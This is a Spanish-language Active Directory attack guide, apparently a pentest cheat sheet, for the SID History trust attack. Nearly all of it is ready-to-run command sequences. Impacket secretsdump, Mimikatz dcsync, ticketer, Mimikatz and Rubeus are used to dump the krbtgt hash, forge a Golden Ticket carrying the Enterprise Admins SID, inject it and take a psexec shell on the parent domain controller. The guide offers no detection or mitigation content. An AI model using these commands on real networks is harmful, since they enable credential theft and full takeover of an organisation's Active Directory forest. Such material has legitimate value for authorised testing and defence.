> For the complete documentation index, see [llms.txt](https://activedirectory.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://activedirectory.mrw0l05zyn.cl/escalamiento-de-privilegios-en-relaciones-de-confianza-de-dominio/sid-history.md).

# SID History

## Descripción

Este ataque permite el compromiso de un dominio principal una vez que el dominio secundario ha sido comprometido.&#x20;

Dentro de un mismo bosque de Active Directory, la propiedad `sIDHistory` se respeta cuando no existe la protección de filtrado SID, por lo tanto, si un usuario en un dominio secundario tiene en su `sIDHistory` establecido el grupo Enterprise Admins (que solo existe en el dominio principal), se lo trata como miembro de este grupo, lo que permite el acceso administrativo a todo el bosque.&#x20;

Es decir, podemos crear un Golden Ticket desde el dominio secundario comprometido para comprometer el dominio principal.

## Linux/Unix

1\) Obtención de hash NT de usuario KRBTGT de dominio secundario utilizando Impacket (secretsdump).

```shell
# impacket-secretsdump
secretsdump.py <SECONDARY.ACME.LOCAL>/<user>:"<password>"@<IP-address-DC-secondary> -just-dc-user <SECONDARY>\krbtgt
```

2\) Obtención de SID del dominio secundario utilizando Impacket (lookupsid).

```shell
# impacket-lookupsid
lookupsid.py <SECONDARY.ACME.LOCAL>/<user>:"<password>"@<IP-address-DC-secondary> | grep "Domain SID"
```

3\) Obtención de SID del grupo "Enterprise Admins" del dominio principal utilizando Impacket (lookupsid).

```shell
# impacket-lookupsid
lookupsid.py <SECONDARY.ACME.LOCAL>/<user>:"<password>"@<IP-address-DC> | grep -B12 "Enterprise Admins"
```

* SID grupo "Enterprise Admins": `Domain SID-Enterprise Admins RID`

4\) Creación de Golden Ticket con Impacket (ticketer).

```shell
# impacket-ticketer
ticketer.py -nthash <NT-hash-user-KRBTGT> -domain <SECONDARY.ACME.LOCAL> -domain-sid <SID-secondary-domain> -extra-sid <SID-Enterprise-Admins-group> Administrator
```

5\) Configuración de la variable de entorno KRB5CCNAME con Golden Ticket.

```shell
export KRB5CCNAME=Administrator.ccache
```

6\) Obtención de shell utilizando Impacket (psexec).

```shell
# impacket-psexec
psexec.py <SECONDARY.ACME.LOCAL>/Administrator@<DC01.ACME.LOCAL> -k -no-pass -target-ip <IP-address-DC>
```

7\) Escala de privilegios desde el dominio secundario al dominio principal de forma automatizada utilizando Impacket (raiseChild).

```shell
# impacket-raiseChild
raiseChild.py -target-exec <IP-address-DC> <SECONDARY.ACME.LOCAL>/<user>:"<password>"
```

## Windows

1\) Obtención de hash NT de usuario KRBTGT de dominio secundario utilizando Mimikatz.

```shell
.\mimikatz.exe
lsadump::dcsync /user:<SECONDARY>\krbtgt
```

2\) Obtención de SID del dominio secundario (actual) utilizando PowerView.

```powershell
Get-DomainSID
```

3\) Obtención de SID del grupo "Enterprise Admins" del dominio principal.

```powershell
# PowerView
Get-DomainGroup -Domain <ACME.LOCAL> -Identity "Enterprise Admins" | select distinguishedname, objectsid

# Módulo ActiveDirectory PowerShell
Get-ADGroup -Identity "Enterprise Admins" -Server "<ACME.LOCAL>"
```

4\) Creación de Golden Ticket con Mimikatz.

4.1) Inyectar Golden Ticket en la sesión actual.

```shell
.\mimikatz.exe
kerberos::golden /user:Administrator /domain:<SECONDARY.ACME.LOCAL> /sid:<SID-secondary-domain> /krbtgt:<NT-hash-user-KRBTGT> /sids:<SID-Enterprise-Admins-group> /ptt
```

Verificar inyección de Golden Ticket en la sesión actual.

```shell
klist
dir \\<DC01.ACME.LOCAL>\C$
```

4.2) Exportar Golden Ticket.

```shell
.\mimikatz.exe
kerberos::golden /user:Administrator /domain:<SECONDARY.ACME.LOCAL> /sid:<SID-secondary-domain> /krbtgt:<NT-hash-user-KRBTGT> /sids:<SID-Enterprise-Admins-group> /ticket:golden-ticket.kirbi
```

Importar Golden Ticket en sesión con Rubeus.

```shell
.\Rubeus.exe createnetonly /program:cmd.exe /show
.\Rubeus.exe ptt /ticket:golden-ticket.kirbi
dir \\<DC01.ACME.LOCAL>\C$
```

5\) Creación de Golden Ticket con Rubeus.

5.1) Inyectar Golden Ticket en la sesión actual.

```shell
.\Rubeus.exe golden /rc4:<NT-hash-user-KRBTGT> /domain:<SECONDARY.ACME.LOCAL> /sid:<SID-secondary-domain> /sids:<SID-Enterprise-Admins-group> /user:Administrator /ptt
```

Verificar inyección de Golden Ticket en la sesión actual.

```shell
klist
dir \\<DC01.ACME.LOCAL>\C$
```
